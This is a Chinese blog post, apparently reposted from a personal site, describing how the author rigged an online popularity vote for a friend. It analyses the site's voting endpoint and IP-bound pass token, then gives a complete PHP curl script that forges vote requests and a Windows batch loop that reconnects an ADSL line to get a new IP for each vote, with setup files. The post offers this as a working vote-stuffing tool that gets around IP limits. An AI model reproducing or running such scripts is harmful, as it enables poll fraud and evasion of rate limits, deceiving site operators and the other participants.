来自http://tunps.com/adsl-mal-vote-with-php-and-batch
20天的一个晚上,哥在上网。QQ弹出消息,初中同学叫我帮他同学投票,哥点开他给我的地址。
差点没把我雷到哦,原来是选“爱心大使”,与其叫“爱心大使”,不如叫“赌博大使”。
然后看了看投票的方式,原来使用ajax来请求一个地址来完成票数的增加,没有验证码,没有ip限制,F5刷起来相当的过瘾。
然后开始装b了起来,给他说可以刷任意多票。我千不该啊万不该,不该把b装起来。后面的悲剧故事紧接着发生鸟。
开始用php+curl写了一个几行的小脚本1分钟之内可以刷到1W票以上。
然后就没有管它了。
结果过了几天同学又找到我了,说刷不起了,哥一看,我kao,肯定是做了ip限制,然后仔细的分析了一下网页。
点击
后,onclick了一个GetIP() ,函数定义如下:
function GetIP(id) { var pass = '8966B88D690F10908063AB2B5B6AD911';// var a = parseInt(Math.random()*100000000)%10;// var b = '5';// var c = a * b;// var str=prompt("输入下列运算结果后才能投票成功:"+ a + " x "+ b + " = ??" );// if(str == c)// { var IP = '125.86.0.107'; var now=new Date(); var url = "ip.aspx?id="+id+"&ip="+IP+"&pass=" +pass +"&time=" +now ; xmlH.open("GET", url, true); xmlH.onreadystatechange = nowOpenUpdate; xmlH.send(null); // }// else// {// alert("输入运算结果不正确,请重新投票。")// } } |
js中的pass变量和哥的Ip是唯一对应了,也就是服务器把ip通过某个函数转成了类似于md5的32位密钥。因为投票已经结束了,所以管理员已经把某些代码用//注释了起来。
点击投票后会弹出来一个随意的乘法算术题,答对了才get ip.aspx,否则弹出错误提示。
对于机器人来说,这个算术题有个毛用,完全是摆设。
请求方法是get,页面是ip.aspx?id="+id+"&ip="+IP+"&pass=" +pass +"&time=" +now。
参数有id,id是选手的id,ip就是客户端ip,pass就是刚才的pass变量,time类似于这种格式“Mon Sep 13 2010 17:49:04 GMT+0800”的时间。
最后根据这样的环境,哥写了如下php代码:
<?php/* 获取adsl公网ip tunpishuang at gmail dot com [tunps.com] 2010.08.23*/$ch=curl_init();$option=array( CURLOPT_URL=>'http://www.123cha.com/', CURLOPT_RETURNTRANSFER=>true);curl_setopt_array($ch,$option);$data=curl_exec($ch);preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/",$data, $matches);$ip=$matches[0];/* 获取pass变量的*/$ch=curl_init();$option=array( CURLOPT_URL=>'http://xx.com/tp.aspx', CURLOPT_RETURNTRANSFER=>true);curl_setopt_array($ch,$option);$data=curl_exec($ch);preg_match("/([A-Z0-9]{32})/",$data, $matches);$pass=$matches[0];/* 发送投票数据包*/$ch = curl_init();$options=array( CURLOPT_TIMEOUT=>5, CURLOPT_URL=>"http://xx.com/ip.aspx?id=5&ip=".$ip."&pass=".$pass."&time=Sun%20Aug%2022%202010%2023:01:49%20GMT+0800", CURLOPT_RETURNTRANSFER=>true, CURLOPT_POST=>false,);curl_setopt_array($ch,$options);$data = curl_exec($ch);print_r($options);echo $data;curl_close($ch); |
将以上代码保存为vote.php
首先到123cha上面获得ip(长宽的adsl是非常诡异的,),然后到tp.aspx获取pass变量,time不管它,因为没有它没有做验证。
然后curl模拟刷票。
但是我们的问题还没解决,因为每次运行这个php脚本,ip都是一样的。
然后哥继续在上网搜寻通过adsl连续断线连线的方法,
找到两个命令:rasdial 和 rasphone,前面一个用来adsl连线,后一个用来断线。为啥rasdial不能断线呢,这个我也白思不得其解。反正我本地测试没有断线成功,所以用rasphone替代。将以下批处理代码保存为vote.bat
@echo offset /p choise= 确认按回车(Enter)开始刷票:loop rasdial 宽带连接 adsl用户名 adsl密码 .\php.exe -c .\php.ini vote.php rasphone -h "adsl" ;rasdial adsl /disconnect ping -n 10 127.1>nulgoto loop |
先连线,然后刷一票,然后断线,然后用ping休息10秒钟,继续重复这个过程。
另外要让php运行正常需要通过php.ini来配置扩展。
将以下代码保存为php.ini
[PHP]extension_dir = "./"extension=.\php_curl.dll |
指定php的扩展路径和扩展。
然后拷贝php安装目录下面的ext目录下面的php_curl.dll到vote.bat的同一个目录。
这个时候php+批处理的刷票“程序”算是完成了,在已经安装了php的机子上可以正常运行,但是没有安装的php的环境,还需要拷贝php运行必须的dll库文件,最终包含的文件列表是:
libeay32.dll
php.exe
php.ini
php5ts.dll
php_curl.dll
ssleay32.dll
vote.bat
vote.php
最后我的总结是:最近和regular expression灰常的有缘非,公司网站js验证多次用到这个,看来有必须系统的学习一下鸟。

Pingback: php通过sudo执行root权限的程序 | 忘川彼岸